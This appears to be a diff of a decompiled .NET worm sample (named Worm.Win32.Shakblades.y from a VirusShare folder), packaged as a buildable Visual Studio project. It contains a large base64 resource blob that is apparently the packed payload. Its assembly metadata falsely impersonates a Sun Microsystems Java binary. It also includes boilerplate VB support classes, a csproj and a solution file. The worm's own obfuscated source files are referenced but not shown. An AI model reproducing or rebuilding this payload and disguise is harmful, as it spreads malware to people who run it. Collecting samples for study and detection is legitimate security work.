Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<assembly alias="mscorlib" name="mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="1s1jlced" type="System.Byte[], mscorlib">
|
||||
<value>
|
||||
pS7eRVHMey4NHpQpHMPUvs7Y1/hZis3OVt9jHMCAAtax9OWJFmNAxoaNA8SKw2ZsIikeHirRs5XsKwII
|
||||
K9mqFKQQEt0b0vVEbTZTkozerttKSamc92zztWJxXuUFi3qSTmp0FwMMOcfNuOpTCn3FTGB50wZMHjow
|
||||
4kZ/bIPmDspIQgyw0X73xWSqC690BCw7WEGnapEAECnazfBJpVqV8Vjku+lY5hPOYA6Zy0DF9mAjdG9Q
|
||||
FDRefj9YbyBv/CfhUzAzFMRdcOwG+A8ZkWs6hwJrBrNjkY+r7gq3Z7ulM6ycouaepLYM18fPrXSymniA
|
||||
HOYriK3WJJTxx5WZGm0shZdSOHqKS4mrz3AsLkczhj9GnoUa67Q/6OfW0oyfdQUajnLprex3ho/iiztB
|
||||
+GEltwPvblIEuBTm0lAgqyRsQ20dNZc45lGFbScnpeVwgupVig0AbXQtoRUmrhxao3G03cTdHSJTwj6s
|
||||
ZbSArel7dQMv7QRlv5iKWbadEt35m8MVyjFwjSb2YrD45+jEMPynnC62LcUje9Kqqg7gd1YLlZiWUHvC
|
||||
OkVSr/RDNzFW03mWwuIhBIFk2UWR81kWEMEmDGUZmVgheHlJ+fn42cqKgJwhl69v1cPnJRgsIQBrEu2B
|
||||
SHKTOS6Bo+kqicJe0X9rcEx6h/s83sboP6tmnY7khxGffPfdtSOLvCc4Jl7YqpAU6JV+Bxkm3QFR7Cvo
|
||||
q9+CVDSVQzwYxu90x1q9Qza0sJyf6f9pnIhMBN1wRsAF0cpaHxAVtc5pjjm3N06S7eqvfLxghYhFi/Tg
|
||||
gCKzDKn+Er3u3prGF9y3N33FpgkD8HnuosmsThppCjTv/ydFhpzpaVCso+JX7Ox1C5Ivja21wx2AQOpq
|
||||
STvJWUO6uoN+F2OtSFqwNWJmnKw9gimMa3cNm/GaLVVw8sCUggLxKkOFKAWvcg1Kfr8yvLcAX/kB7pPI
|
||||
W+BkVBjXvrFmRVW1R9WcwRVA9y78P8I539pxRRuAs+f1EO4h0T+U7ibOzfgqDl/OLOd5YHKX7YRKwxqU
|
||||
i6rl1zf9GcRIk3g+F7Q2B4AZtI+hikCRCQlGl7wnvX3gHE1rcbSLwcMJx6rUYt3gs0DB6JbDZ4CVl94d
|
||||
q6j393RQLpwYTi2zy+4Eri+nAQNzewcAfyBrn5Jut8EkNffJ0Krvw47TfR8GuSBgfyWYGFDG2fBhiVAn
|
||||
i5MKgRcsqhoWPkrl3+YhNprqNpyC2iEjyC4U1NGmI44qFZSth+IBggF6Jut/afnEzGwvmTFEcDAXbaCA
|
||||
iI7aunJOGizb4TmW2F+fbavc7Jm3mj9CnIV7JZIYed21uo+cF95jv7t2d0Jk4NtRMUfxzsLa+tzFRTz4
|
||||
WvlGWibTV3QsTPqCtjUAVRR+MHdBEFgkVoB4wITxWWnC/PGth8O7++in4HY9mB6aPVse/gKEAGCyKw1O
|
||||
SC1TSPwrb9cH9JpWJVGZs3lT31jmjpqbqCgwIK+AhKWXDkWQy8bFl/y6DiwCKo/mccq7y67rOlN1LACq
|
||||
rHw8vk7vU+vmT+95BFqe6IEgLnyzJLmXt+Kq9f6R56Oo89LvgEne9tl4EPDZP4WquCeNmS30bzvs+0Cb
|
||||
sFp/Qbl/PcFZS5dBjoTJiMm1vOk7gNyau5TqwIYxd+aoqYqM4vDsS1av7EKppTaUN4OgRg8ZucaeVGMJ
|
||||
fV++KAaCNs5FxkawP7J3vXImg1C+hLcZ1C8rrBgFfcNlEu+SarBA1ipajRTf6Oc7K/93pBZY/CSmWdew
|
||||
XSR6sumcV+vDsavVcNJGJhuuBvXlVzaE3h+pwnWV264CsGHgyJeCJvMax/9neXjVGkyoLFzTNeOl6cSY
|
||||
j68QyykBrv0orqdSWksMk/Hlz3LWKpjYbeHNjmQLuWOAzzXdKiudLuO+UArtb/Hbeot40eeXlt21PYZe
|
||||
jI6IsXFkApa418cx2THjWiGuJ/O4AwCcCF6ydhpd3jzSMaYFi41jeshGd2hXvvioSOkbcRHq6eiV37Z6
|
||||
h5VbadkFRVfM8OlzWc6EknZOjBsnQ4tfcdn8vR28eI55/n2AJuQLK1Gs9iixRNxn4pIpZ9rTTJDBXRmk
|
||||
oS5FsHP8H1dUZW0FKYJh8QwR+AJhyiRB4kxtGJxqlr9XcfgnJ7mIfq3aoq8X4zwKYo35KCo3h+N5Paci
|
||||
VIjtZLjc9rdrpoUXVJDWTPbw+0SHszMIqE4eH44hYztvAgqGJ2OwhiTfa37NLUalC9no2llrNwQ3E6+R
|
||||
EaxJfEewqgSB0Kd9jj9UZAt5VXgvwmBM7MY3E+ZRpPSpMSw63VKulZZtfYj9Z+9NLhhSCeoi4PWpw/EP
|
||||
+uojlwH5ZZtvGckn2IWvsZxNKmkrqMlAnyQFvA/IISbYQileihX9ulHwJgviemLnsl1W/fC1PSF0lYgU
|
||||
lwY9XRZAdWRKAhmdr8g5h+mfqCEIj8Z9M9I3nDmyBf8V370BCO4sTkXosTyGgD4n877WWpQfH/nmeso9
|
||||
DBgr4lye1l0xQXORE36cgtbMSjX9Pxrnd5XrMIuI9hlnrpTvxk/8U45sEMqDnM7+5g7SB3lZ2tBuWE6V
|
||||
XvVtHKqN9qIpSYVtvXDcgB+M11FiuA3BrYtMiHWlEJ16rsGqU64QhCSIyTwOtsl7uSrQBiFDOJLSwL7y
|
||||
/vtVMnxLBLn7ay2s7wFT4T7/2bzl72r9ydyfaVXSy7FBeN/mYGk5ykLevLTgd+77iGxEQmVayRm+WFiF
|
||||
H7Myr4GRI+S0/aJolb3EjaOKIyvEWFdpQ/Yjl2DeutjACFlkKOGN6yLdSQm0ujpvbtMlinwE0cGMR6CM
|
||||
AQoaoX+DCD613JlOS85JyG/PSwBZEvCEk8MoVnGqvv3JY2+6BDDQwqUe9BmK657iRw7qBszJrLGjNycw
|
||||
KVsE4lX5RgGV6z074yhvgd6+YNn0jTT0cV+khLUFEAfBjrAmo+tfdcWwrE9s2XNdv/53JXdNyO5soj9S
|
||||
ypjaQ826emuyVDK1TvCCT25NDbIFE+Pq5uoLvPFxLNQx+572xwCYNQZqStQQ3V3o1x3shQo/PTJbfmZh
|
||||
NypNXCk5PHHpOx02VwmraZdlMt5VoVAH/1BlPFg5E6xohoqqF2guXfpakDNRfxQ9Z9L9iHVPtKWtYm9C
|
||||
TO9kS6JgyRcPZTBUZq4F9p+WNsqkza3JQ+jPuJy109VJ3MK2Xue/lqbX9oqa93eQCQcfDGKbQsRQVFAu
|
||||
3A7cpZtgMuGSl3ns61tGC2XTSfdd6hACCg4rLVXxX9BZXfMOioUBLXOt4TWoDqmBfpHZaqkKN9RFCPpl
|
||||
cLbHjw6ZcLtDH2L1xXZeeO3gVIp+2oK9ZY/zSqtxBeeTxskGtrSSRuqKUJ8hZJrgeYXVPUr4Led0Yk3I
|
||||
K1hueMwtN1Tj9Q1AZIVTV364CMttncHniE01YVrQNKsG5tji2Ib8IRV4qG3v1wggvvwKlLJg9pIIfzyW
|
||||
891pEwijaPkU4/BcSwpb1I+IveM9xLThdF5EENvcrBguF0+Seddmp541a805YG9T1MSZQ3HmUNy0zfVm
|
||||
17EzkoiahZcDPNB6vAsgXEjp38lskQT1in87Ti1EiGb2xjcxseDfA/+MZ+khiAXDo3cAmqDDY3/BsgDW
|
||||
F4tp/7DH9VXjvOY0243Mpli09un9CGUS9hDSvneUdD2GYiuTjY3s9EgVOXZ0aNQBnc8UDF/RdKg2Sfno
|
||||
JvDyOTQ84qvCqND7wGmUnwtwq2+cmzaClxOJ4TPzPkBodMqO+G1JZRRytKjrMolyRnuwezMQVc3aHSsk
|
||||
FisMsISWlsFjogBv2S0OsR2C6vpSgzdKzTqufjHnesWBtu0D31fHvwz9daVtv3eKvrtqqykoHYha3rPL
|
||||
oZVw+jH1tZzUGwaqRncC9HO43noAIfOMW3zytCidNh9qn4VIYGukibUOcNkWN8iGeWBuUCkd9SFBhya2
|
||||
aqGJZKSvVHvg0eJIBcx6NErA297f2UgNNGAIxOkaqgLR12b1wbbian6a33CfPXddT9UDF2jln4FDIFFt
|
||||
f/a6PDuuazqitvNtV+vXA9pp65yceXt4UpL+KDQIxoJu4qRoRyPfkd2gvS3mEDAgx/ZdauRyvV9RyaHe
|
||||
+AGSIxRY4+9aInS3JVSJIDxODFwzsYMbGxgP6IthAIIQg6+XSkFmnjCOTHWDEG9xsJtaxhO9WcWLQvXi
|
||||
aTPtWfvazvKaHmWJLzRIy1NpWp9Lb6c6wY8fKMGfdOe/rzI8dfKW86wl7r6qRKncYubWLzOVZ8y6SwYx
|
||||
So7aMFPHA7QLa9+1WLHZSQ4cl1VzJhdr+L/XEcOFoS61j6a5GRKK251ith7pMKTM3tbY1XesUW+m9oWX
|
||||
RIqn6WqYr24BuR8imc33bU9QYrvLRLo+ocyWRq6IlDGQbxBcoaDX4fZtuH/tEHRgsZ2DqRE/nwEBxsw6
|
||||
IHes6fTMwrC2zQBLsf/gg1PPlJAAbSJxaCzVREwjxxupetMPY5QMvoxONFnPsiuHPkYnLApdRMhu8Mo3
|
||||
yw8nWkNqUr6X5wwvnPto9oHgSsJofwyzQn0+0iS8hrftV8EiHYuAOSPHrwoQqGe5goWCBAaVkJ8txNiu
|
||||
BoeYZRQVn3BXxLWNnUnq9mMJP61a3M9QKVTGDbRnn07vFlgpcXKssCqjnqCbiQk3dva1eSLptj3MScNN
|
||||
L9Y9p36RTt3Pn12RWw43tOCT8MWmaYzeES8RhGGoxlMMe9a6cgCKlqWgb1TO4kgzQarZ40NjOmlR38M5
|
||||
Cao754t1miVog84yi1nTgZzM1D/ALsoQaWbCWFUAu3neYabnhCBV8NZcYQdPSLfNVd/rydle9pp0DOeZ
|
||||
IVUC5cBt0SLEF4aAHbmgTwW6FQ+mPnzXfc4GEGy7bi9vYCA+yQ9K7yhZZLC61nCwLzGt4DPyG66WqJVq
|
||||
XuUk1rrdY+gArOp1h20PfL8TYmFWbSmQXFp8efpzOTGXoI1AbYFpX6G14lLPtTw3wIeCOT7C0ABHOsfI
|
||||
99baqzxfJVyLqMF1pP9xYMwNzj5y+atkaAsgB3fKfP2Mg3Rd6GwJQdznpj2ws7bIehGWzKBGg3XpTt2N
|
||||
3C/zDU0q1p2UBy9HTJVt2AhNQ8cDbpzJOVQq334XUM4jGOuWgTmrHg==
|
||||
</value>
|
||||
</data>
|
||||
</root>
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyFileVersion("82.27.26.147")]
|
||||
[assembly: AssemblyProduct("Java(TM) Platform SE 6 U22")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2010")]
|
||||
[assembly: AssemblyCompany("Sun Microsystems, Inc.")]
|
||||
[assembly: AssemblyTitle("Java(TM) Platform SE binary")]
|
||||
[assembly: Guid("cd9cf8f8-23f2-4588-b6e7-fbb135fab06a")]
|
||||
[assembly: AssemblyVersion("82.27.26.147")]
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyApplication
|
||||
// Assembly: zom052fb, Version=82.27.26.147, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: C73C9DAC-34BB-47BC-9784-43B3F9A632F7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.y-0a8ce0f86190a7cb19dcfb02d9c65bd7190bdb532888563cb9e3e20c68ed3079.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyApplication : ApplicationBase
|
||||
{
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyComputer
|
||||
// Assembly: zom052fb, Version=82.27.26.147, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: C73C9DAC-34BB-47BC-9784-43B3F9A632F7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.y-0a8ce0f86190a7cb19dcfb02d9c65bd7190bdb532888563cb9e3e20c68ed3079.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyProject
|
||||
// Assembly: zom052fb, Version=82.27.26.147, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: C73C9DAC-34BB-47BC-9784-43B3F9A632F7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.y-0a8ce0f86190a7cb19dcfb02d9c65bd7190bdb532888563cb9e3e20c68ed3079.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+51
@@ -0,0 +1,51 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.y-0a8ce0f86190a7cb19dcfb02d9c65bd7190bdb532888563cb9e3e20c68ed3079.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{0D42C787-76D5-4835-8CE1-BDE5AB17711F}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>zom052fb</AssemblyName>
|
||||
<ApplicationVersion>82.27.26.147</ApplicationVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Ô61\Ô.cs" />
|
||||
<Compile Include="Þ\Ò80Á.cs" />
|
||||
<Compile Include="Î62Â\Ë08Î.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="1s1jlced.resx" />
|
||||
<EmbeddedResource Include="h2rg0p54.resx" />
|
||||
<EmbeddedResource Include="mrmgvnwp.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "zom052fb", "Worm.Win32.Shakblades.y-0a8ce0f86190a7cb19dcfb02d9c65bd7190bdb532888563cb9e3e20c68ed3079.csproj", "{0D42C787-76D5-4835-8CE1-BDE5AB17711F}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{0D42C787-76D5-4835-8CE1-BDE5AB17711F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{0D42C787-76D5-4835-8CE1-BDE5AB17711F}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{0D42C787-76D5-4835-8CE1-BDE5AB17711F}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{0D42C787-76D5-4835-8CE1-BDE5AB17711F}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+757
@@ -0,0 +1,757 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
